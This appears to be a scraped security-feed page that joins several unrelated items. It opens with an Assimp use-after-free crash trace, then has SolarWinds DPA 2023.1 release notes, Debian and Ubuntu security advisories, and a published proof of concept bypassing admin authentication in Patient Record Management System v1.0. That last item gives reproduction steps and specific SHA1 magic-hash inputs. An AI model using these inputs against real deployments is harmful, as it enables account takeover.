 #12 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #13 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #14 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #15 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #16 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #17 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #18 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #19 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #20 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #21 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #22 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #23 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)

previously allocated by thread T0 here:
 #0 0x7ffff769d5a7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan\_new\_delete.cpp:99
 #1 0x7ffff5f24b56 in \_\_gnu\_cxx::new\_allocator<pugi::xml\_node>::allocate(unsigned long, void const\*) (/root/asan\_assimp/bin/libassimp.so.5+0x9bfb56)
 #2 0x7ffff5f12efb in std::allocator\_traits<std::allocator<pugi::xml\_node> >::allocate(std::allocator<pugi::xml\_node>&, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x9adefb)
 #3 0x7ffff5ef9487 in std::\_Vector\_base<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_allocate(unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x994487)
 #4 0x7ffff5ee50d4 in void std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_realloc\_insert<pugi::xml\_node const&>(\_\_gnu\_cxx::\_\_normal\_iterator<pugi::xml\_node\*, std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> > >, pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x9800d4)
 #5 0x7ffff5ed6e2e in std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::push\_back(pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x971e2e)
 #6 0x7ffff5ed0ec0 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96bec0)
 #7 0x7ffff5ed1054 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96c054)
 #8 0x7ffff5ed0d12 in Assimp::XmlNodeIterator::XmlNodeIterator(pugi::xml\_node&, Assimp::XmlNodeIterator::IterationMode) (/root/asan\_assimp/bin/libassimp.so.5+0x96bd12)
 #9 0x7ffff5ec0af6 in Assimp::ColladaParser::ReadSource(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95baf6)
 #10 0x7ffff5ec06ff in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b6ff)
 #11 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
 #12 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #13 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #14 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #15 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #16 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #17 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #18 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #19 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #20 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #21 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #22 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #23 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-use-after-free (/root/asan\_assimp/bin/libassimp.so.5+0x961979) in Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&)
Shadow bytes around the buggy address:
 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c047fff8000: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa 00 00
 0x0c047fff8010: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
 0x0c047fff8020: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
 0x0c047fff8030: fa fa fd fa fa fa fd fd fa fa 00 04 fa fa fd fa
\=>0x0c047fff8040: fa fa fd fd fa fa\[fd\]fa fa fa fd fd fa fa fd fa
 0x0c047fff8050: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fa fa
 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07 
 Heap left redzone: fa
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
 Shadow gap: cc
\==19874\==ABORTING

**Description**

 A heap-use-after-free was discovered in assimp. The issue is being triggered in function Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&).
 

**Poc**

Poc file is this.

CVE-2022-45748: Bug: heap-use-after-free in function Assimp::ColladaParser::ExtractDataObjectFromChannel() · Issue #4286 · assimp/assimp

In DPA 2022.4 and older releases, generated heap memory dumps contain sensitive information in cleartext.

Release date: January 18, 2023

These release notes describe the new features, improvements, and fixed issues in Database Performance Analyzer 2023.1. They also provide information about upgrades and describe workarounds for known issues.

**Learn more**

* For information on the latest hotfixes, see DPA hotfixes.
* For release notes for previous DPA versions, see Previous Version documentation.
* For information about requirements, see DPA system requirements.
* For information about working with DPA, see the DPA Administrator Guide.

**New features and improvements in DPA**

Return to top

DPA 2023.1 offers new features and improvements compared to previous releases of DPA.

**Improvements to importing alerts, rules, and custom properties**

DPA 2022.4 introduced the ability to export the alerts, rules, and custom properties that are configured on one DPA server and import them to another server. DPA 2023.1 improves the import functionality in the following ways:

* You can specify which entities to import. The import wizard displays a list of the alerts, rules, and custom properties to be imported. Clear the checkbox next to any entity you don't want to import.
 
* You can choose to overwrite existing entities with the same name. If you overwrite an entity, the existing entity is replaced by the imported entity.
 

**Additions to systems requirements and monitored instances**

 

Category

Vender and version

Repository database

Microsoft SQL Server 2022, Windows or Linux

Monitored database instances

Microsoft SQL Server 2022, Windows or Linux

VMware

VMware vCenter Server 7.0

VMware ESX/ESXi Host 7.0

For more information, see the DPA 2023.1 system requirements and Database instances DPA can monitor.

**Fixed issues in DPA 2023.1**

Return to top

DPA 2023.1 fixes the following issues.

 

Case number

Description

01144021, 01233510, 01234275

In deployments with an Oracle repository that monitor Oracle database instances, index analysis runs successfully. Logs no longer include the error message Unable to run index analysis.

01080326, 01129290, 01234534, 01236488

Files in the /tomcat/logs/ directory, such as catalina.out, stderr.log, and catalina._YYYY-MM-DD_.log, no longer grow quickly and consume a large amount of space.

00978208, 01076887

Collecting a large number of metrics (for example, because you have configured many custom metrics), can sometimes cause DPA monitoring to stop periodically. DPA 2023.1 includes metrics setting in the system.properties files that can be adjusted to avoid this issue. For information on adjusting these properties, see Scale DPA for the number of databases being monitored and the number of custom metrics.

00560405, 00850966, 01061361, 01128672

In previous versions, when DPA was installed on Windows the installer ran a VBS script to create the Windows service. If an organization had a security policy that prevented VBS scripts from running, the service was not created and DPA would not start. To prevent this issue, DPA 2023.1 runs a Powershell script instead of a VBS script.

**SolarWinds CVEs**

SolarWinds would like to thank our Security Researchers below for reporting on the issue in a responsible manner and working with our security, product, and engineering teams to fix the vulnerability.

 

CVE-ID

Vulnerability Title

Description

Severity

CVE-2022-38110

Reflected Cross-Site Scripting Vulnerability

In DPA 2022.4 and older releases, certain URL vectors are susceptible to authenticated reflected cross-site scripting.

6.3 Medium

CVE-2022-38112

Sensitive Information Disclosure Vulnerability

In DPA 2022.4 and older releases, generated heap memory dumps contain sensitive information in cleartext.

6.3 Medium

**Notes - BugCrowd**

SolarWinds would like to additionally thank our Bugcrowd community for their continued help in testing our products and keeping them secure

**New customer installation**

Return to top

For information about installing DPA, see the DPA Installation and Upgrade Guide. You can download a free trial from the SolarWinds website.

**Before you upgrade!**

If you are upgrading from DPA 2022.3 and you configured that version for SAML authentication, be aware that 2022.4 and later versions include changes to the SAML configuration. After the upgrade, no one will be able to log in with SAML until you update the configuration.

* **Before** you upgrade, make sure you have a local login available.
 
* **After** the upgrade, log in as a local user and complete the steps under SAML configuration changes in the DPA 2022.3 release notes to update the SAML configuration.
 

**How to upgrade**

If you are upgrading from an earlier version, use the following resources to plan and implement your upgrade:

* Use the DPA Installation and Upgrade Guide to help you plan and execute your upgrade.
* When you are ready, download the upgrade package from the SolarWinds Customer Portal.

**Known issues**

Return to top

 

Importing an alert definition without the associated database assignment rule

**Issue**

In some situations, the log file shows the status of an imported alert definition as both Imported and Failed. This occurs when the alert definition uses a database assignment rule, but the rule was not imported and did not already exist on the server.

The two statuses indicate that the alert definition was imported but the attempt to associate the database assignment rule failed.

**Resolution or Workaround**

When you import an alert definition that uses a database assignment rule, either import the rule or ensure that it already exists on the server.

If you imported an alert definition and the associated rule is missing, you must edit the alert definition to specify the database instances. (You can specify instances by manually selecting them or by applying a rule.)

 

REST API does not work when you access DPA with SAML login credentials

**Issue**

If you access DPA with SAML login credentials and you generate a refresh token, the following message is displayed when you attempt to use that refresh token to access the REST API:

You are not authorized to perform this action. Contact your DPA administrator.

**Resolution or Workaround**

Access DPA with a local login when you generate the refresh token.

 

The database name is not updated for stored procedures

**Issue**

If a stored procedure name includes the name of a database and it is copied to a different database, the database name is not updated. When DPA shows information about the copied stored procedure, the hash is the same as the first and the information appears to be incorrect.

**Resolution or Workaround**

If you experience this issue, complete the following steps:

1. Run the following command against the DPA repository database (replacing <HashValue> with the stored procedure's hash value):
 
 delete from ignite.CONST_<DBID> where H = '<HashValue>'
 
2. Restart DPA.

 

Registering an Azure SQL database instance fails when the privileged user is an Azure AD user

**Issue**

When registering an Azure SQL database, if you let DPA create the monitoring user and select an Azure Active Directory (AD) user as the privileged user, registration fails on the last step with the message Connection test to database as monitoring user failed.

**Resolution or Workaround**

Select the option 'I'll create the contained user or login', and follow the instructions to create the monitoring user manually.

 

Adding a distributed AG to a server prevents DPA from monitoring non-distributed AGs on the server

**Issue**

If DPA is monitoring non-distributed SQL Server Availability Groups (AGs) on a server and you add a distributed AG to the server, DPA stops monitoring the non-distributed AGs.

**Resolution or Workaround**

Do not add a distributed AG to the server.

 

Microsoft reports incorrect metric values for SQL Server on Linux

**Issue**

When you monitor a **SQL Server 2017** database instance that runs on a Linux server:

* The O/S CPU Utilization resource always shows usage at 100%.
* The Instance CPU Utilization resource always shows usage at 100%.
* The O/S Memory Utilization resource always shows usage at 0%.

When you monitor a **SQL Server 2019** database instance that runs on a Linux server:

* The O/S CPU Utilization resource always shows usage at 100%.
* In some cases, the Instance CPU Utilization resource always shows usage at 100%.

Microsoft reports these values.

**Resolution or Workaround**

Disregard the values that are incorrect on your version of SQL Server. You can also disable the collection of a metric that shows incorrect data.

 

DPA fails to reconnect after losing its connection to a SQL Server instance

**Issue**

When DPA loses its connection to a monitored SQL Server instance (for example, when the DPA server is rebooted), and Windows authentication is used, DPA is sometimes unable to reconnect to the instance. This can happen if DPA attempts to connect before SQL Server has been able to connect to Active Directory. DPA interprets the rejected connection attempt as possibly occuring because the credentials were incorrect. To avoid being locked out of the account, DPA does not keep trying to reconnect. Messages such as the following appear in the logs:

Monitor for database [databaseName] failed to start due to [username and/or password must be updated due to previous login failure; if the credentials have not changed for this database, stop the monitor, wait for the monitor to stop, then start the monitor.].

**Resolution or Workaround**

When the monitored instance is fully initialized, manually restart monitoring. On the DPA home page, click the Action drop-down menu for the instance and select Start Monitor.

**End of life**

Return to top

 

Version

EoL Announcement

EoE Effective Date

EoL Effective Date

DPA 2022.1

**January18, 2022** End-of-Life (EoL) announcement - Customers on DPA version 2022.1 or earlier should begin transitioning to the latest version of DPA.

**April18, 2023** End-of-Engineering (EoE) - Service releases, bug fixes, workarounds, and service packs for DPA version2022.1 or earlier will no longer actively be supported by SolarWinds.

**April18, 2024** End-of-Life (EoL) - SolarWinds will no longer provide technical support for DPA version 2022.1 or earlier.

DPA 2021.3

**October 18, 2022** End-of-Life (EoL) announcement - Customers on DPA version 2021.3 or earlier should begin transitioning to the latest version of DPA.

**January 18, 2023** End-of-Engineering (EoE) - Service releases, bug fixes, workarounds, and service packs for DPA version 2021.3 or earlier will no longer actively be supported by SolarWinds.

**January 18, 2024** End-of-Life (EoL) - SolarWinds will no longer provide technical support for DPA version 2021.3 or earlier.

DPA 2021.1

**October 18, 2022** End-of-Life (EoL) announcement - Customers on DPA version 2021.1 or earlier should begin transitioning to the latest version of DPA.

**January 18, 2023** End-of-Engineering (EoE) - Service releases, bug fixes, workarounds, and service packs for DPA version 2021.1 or earlier will no longer actively be supported by SolarWinds.

**January 18, 2024** End-of-Life (EoL) - SolarWinds will no longer provide technical support for DPA version 2021.1 or earlier.

DPA 2020.2

**October 18, 2022** End-of-Life (EoL) announcement - Customers on DPA version 2020.2 or earlier should begin transitioning to the latest version of DPA.

**January 18, 2023** End-of-Engineering (EoE) - Service releases, bug fixes, workarounds, and service packs for DPA version 2020.2 or earlier will no longer actively be supported by SolarWinds.

**January 18, 2024** End-of-Life (EoL) - SolarWinds will no longer provide technical support for DPA version 2020.2 or earlier.

**Deprecation notices**

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This version of Database Performance Analyzer deprecates the following platforms and features.

Deprecated platforms and features are still supported in the current release. However, they will be unsupported in a future release. Plan on upgrading deprecated platforms, and avoid using deprecated features. 

 

Type

Details

DPA server OS

Installing DPA on a server with a **Windows Server 2012 R2** operating system is still supported in 2022.4, but support will be removed in an upcoming release.

_The scripts are not supported under any SolarWinds support program or service. The scripts are provided AS IS without warranty of any kind. SolarWinds further disclaims all warranties including, without limitation, any implied warranties of merchantability or of fitness for a particular purpose. The risk arising out of the use or performance of the scripts and documentation stays with you. In no event shall SolarWinds or anyone else involved in the creation, production, or delivery of the scripts be liable for any damages whatsoever (including, without limitation, damages for loss of business profits, business interruption, loss of business information, or other pecuniary loss) arising out of the use of or inability to use the scripts or documentation_.

**Legal notices**

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This document may not be reproduced by any means nor modified, decompiled, disassembled, published or distributed, in whole or in part, or translated to any electronic medium or other means without the prior written consent of SolarWinds. All right, title, and interest in and to the software, services, and documentation are and shall remain the exclusive property of SolarWinds, its affiliates, and/or its respective licensors.

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CVE-2022-38112: DPA 2023.1 Release Notes

Debian Linux Security Advisory 5323-1 - It was discovered that the CompareTool of iText, a Java PDF library which uses the external ghostscript software to compare PDFs at a pixel level, allowed command injection when parsing a specially crafted filename.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5323-1                   security@debian.orghttps://www.debian.org/security/                          Markus KoschanyJanuary 19, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : libitext5-javaCVE ID         : CVE-2021-43113Debian Bug     : 1014597It was discovered that the CompareTool of iText, a Java PDF library which usesthe external ghostscript software to compare PDFs at a pixel level, allowedcommand injection when parsing a specially crafted filename.For the stable distribution (bullseye), this problem has been fixed inversion 5.5.13.2-1+deb11u1.We recommend that you upgrade your libitext5-java packages.For the detailed security status of libitext5-java please refer toits security tracker page at:https://security-tracker.debian.org/tracker/libitext5-javaFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmPJxhlfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFDRjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7UeSSQw//dNjqrUajjV4/7uztzOajIWwBM7Ra3PNl3Up9jaZJaKdhdBAtDT4qRjK+lVx9CNojQplJQ6k4N3Yzq0Ose3HozR99+bj2J/MC8+skq8LpChDzKCVdVww9To9TXxWaHWHlxSyn9j8nZTvbBAiQcr/KdZFuivFlLtmiLKG0n0S/Czp3YEwYcmv27LbSCehfmOjxpgbLOWGScqQqk9e3aisQ7twMIVU1ED3rKDsjqSHOkxEq9ZZo04TRxGnfokue6KYTizeQq396mzLPd8HlFzTJGDjMqokyrNYBPxFZqPVXm40GSyZiA2OEXcbaTxikx6+XSi/yqngVZxa9gZPL1ATCNaPoJh+n/4eLczHXm90MZ7JWHe8AIGV4mA5iW3olP4blcyRcS10bxwR/qwNikrr0j7PSLv/SP6T/p+ZUzpBXcV9+tPPfzAQ/Wsjd9h/fuPiAdA06OBe0r9hXwO6hX6bxCVVwK6gA8vzCY84kgQp8HUXa6RBSxy/xbfFEGqQW1VToiOOL4IhMY7Pl/4NAaUJUxc4kbpFh2Y8BKytPAivk+DfZGpfsGxP+QXYR5l7nfnIS+j6+F/wL77cxaCGgF7NgH9YuRYQypstHRDrAqGbA97ZE2bAfBX/9TpIGeyqG9sE+rrCbcm/dDr7be31f5TVQ4XmV4gZSE5iw7x5tg+1Wj9c==Z8P9-----END PGP SIGNATURE-----

Debian Security Advisory 5323-1

Ubuntu Security Notice 5815-1 - It was discovered that a race condition existed in the Android Binder IPC subsystem in the Linux kernel, leading to a use-after-free vulnerability. A local attacker could use this to cause a denial of service or possibly execute arbitrary code. David Leadbeater discovered that the netfilter IRC protocol tracking implementation in the Linux Kernel incorrectly handled certain message payloads in some situations. A remote attacker could possibly use this to cause a denial of service or bypass firewall filtering.

==========================================================================  
Ubuntu Security Notice USN-5815-1  
January 19, 2023

linux-bluefield vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-bluefield: Linux kernel for NVIDIA BlueField platforms

Details:

It was discovered that a race condition existed in the Android Binder IPC  
subsystem in the Linux kernel, leading to a use-after-free vulnerability. A  
local attacker could use this to cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2022-20421)

David Leadbeater discovered that the netfilter IRC protocol tracking  
implementation in the Linux Kernel incorrectly handled certain message  
payloads in some situations. A remote attacker could possibly use this to  
cause a denial of service or bypass firewall filtering. (CVE-2022-2663)

It was discovered that the Intel 740 frame buffer driver in the Linux  
kernel contained a divide by zero vulnerability. A local attacker could use  
this to cause a denial of service (system crash). (CVE-2022-3061)

It was discovered that the sound subsystem in the Linux kernel contained a  
race condition in some situations. A local attacker could use this to cause  
a denial of service (system crash). (CVE-2022-3303)

Gwnaun Jung discovered that the SFB packet scheduling implementation in the  
Linux kernel contained a use-after-free vulnerability. A local attacker  
could use this to cause a denial of service (system crash) or possibly  
execute arbitrary code. (CVE-2022-3586)

It was discovered that the NILFS2 file system implementation in the Linux  
kernel did not properly deallocate memory in certain error conditions. An  
attacker could use this to cause a denial of service (memory exhaustion).  
(CVE-2022-3646)

Hyunwoo Kim discovered that an integer overflow vulnerability existed in  
the PXA3xx graphics driver in the Linux kernel. A local attacker could  
possibly use this to cause a denial of service (system crash).  
(CVE-2022-39842)

It was discovered that a race condition existed in the EFI capsule loader  
driver in the Linux kernel, leading to a use-after-free vulnerability. A  
local attacker could use this to cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2022-40307)

Zheng Wang and Zhuorao Yang discovered that the RealTek RTL8712U wireless  
driver in the Linux kernel contained a use-after-free vulnerability. A  
local attacker could use this to cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2022-4095)

It was discovered that the USB monitoring (usbmon) component in the Linux  
kernel did not properly set permissions on memory mapped in to user space  
processes. A local attacker could use this to cause a denial of service  
(system crash) or possibly execute arbitrary code. (CVE-2022-43750)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
   linux-image-5.4.0-1054-bluefield  5.4.0-1054.60  
   linux-image-bluefield           5.4.0.1054.50

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
   https://ubuntu.com/security/notices/USN-5815-1  
   CVE-2022-20421, CVE-2022-2663, CVE-2022-3061, CVE-2022-3303,  
   CVE-2022-3586, CVE-2022-3646, CVE-2022-39842, CVE-2022-40307,  
   CVE-2022-4095, CVE-2022-43750

Package Information:  
   https://launchpad.net/ubuntu/+source/linux-bluefield/5.4.0-1054.60

Ubuntu Security Notice USN-5815-1

Patient Record Management System version 1.0 suffers from an authentication bypass vulnerability during account recovery.

    # Exploit Title: Patient Record Management System v1.0 - Authentication Bypass via PHP Loose Comparison# Exploit Author: Joe Pollock# Date: January 19, 2023# Vendor Homepage: https://www.sourcecodester.com/php/13505/patient-record-management-system.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/patientrecords.zip# Tested on: Kali Linux, Apache, Mysql, PHP 8.1.5# CVE: T.B.C# Vendor: kimcey500# Version: 1.0# Exploit Description:#   Patient Record Management System v1.0 implements a PHP loose comparison within the password recovery functionality (secret question/answer) of #   the admin account, which renders the application vulnerable to an authentication bypass depending on the secret answer chosen by the administrator. #   If the secret answer generates a SHA1 magic hash (SHA1 is the hashing format used by the application to store secret answers) then an authentication #   bypass of the admin account is possible using any other SHA1 magic hash. The vulnerable function is found within User_model.php and is shown below:public function get_forgot_secret($login_id, $secans){   $this->db->where('u_id', $login_id);   $query = $this->db->get('users');   $decrypt = $query->row()->u_secretanswer;   if(sha1($secans) == $decrypt){ // md5 encryption       return $query->row();   }} ========================================================(+) To reproduce this exploit:========================================================1. Log in as the administrator and navigate to the password recovery functionality (http://localhost/Indexcontrol/secretquestion).2. Enter the ‘Current Password’ then select any ‘Secret Question’. 3. For the ‘Secret Answer’, use the following: 109324351124. Confirm the ‘Secret Answer’ then click ‘Submit’. Now logout of the administrator account.5. From the admin login page, click ‘Forgot Password?’.6. Enter ‘admin’ as the username then click ‘Submit’.7. For the ‘Secret Answer’, use any of the following:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6Ikap8. After clicking 'Submit, the 'create new password' functionality should be displayed and therefore authentication can be bypassed.========================================================(+) Explanation:========================================================Following from above, assume the administrator has chosen the following as their secret answer: 10932435112The application then stores the SHA1 hash of the secret answer in the database. The stored hash is: 0e07766915004133176347055865026311692244The above hash is an example of a 'magic hash', i.e. the hash starts with "0e" (or "0..0e") only followed by numbers.In PHP, if two strings are loosely compared (==) and match the regular expression 0+e[0-9]+, the result will be TRUE.It will then be possible to bypass the authentication of this account using any secret answer which generates a SHA1 magic hash. Any of the following secret answers could be used to bypass authentication:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6IkapSee here for more examples that could be used: https://github.com/spaze/hashes/blob/master/sha1.mdThe comparision which would take place by the application in get_forgot_secret() is:if(sha1(aaroZmOk) == "0e07766915004133176347055865026311692244"){   //Reset passwordWhich becomes:if("0e66507019969427134894567494305185566735" == "0e07766915004133176347055865026311692244"){   //Reset passwordDue to the loose comparision used (==), the above evaluates to TRUE, which would then allow the attacker to changethe password of the account.You can try this yourself using the interactive PHP interpreter:var_dump(sha1('aaroZmOk') == "0e111");var_dump(sha1('aaroZmOk') == "0e222");var_dump(sha1('aaroZmOk') == sha1('w9KASOk6Ikap'));========================================================(+) References and more information========================================================https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.mdhttp://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.htmlhttps://www.whitehatsec.com/blog/magic-hashes/https://github.com/spaze/hasheshttps://offsec.almond.consulting/super-magic-hash.html

Tag

#linux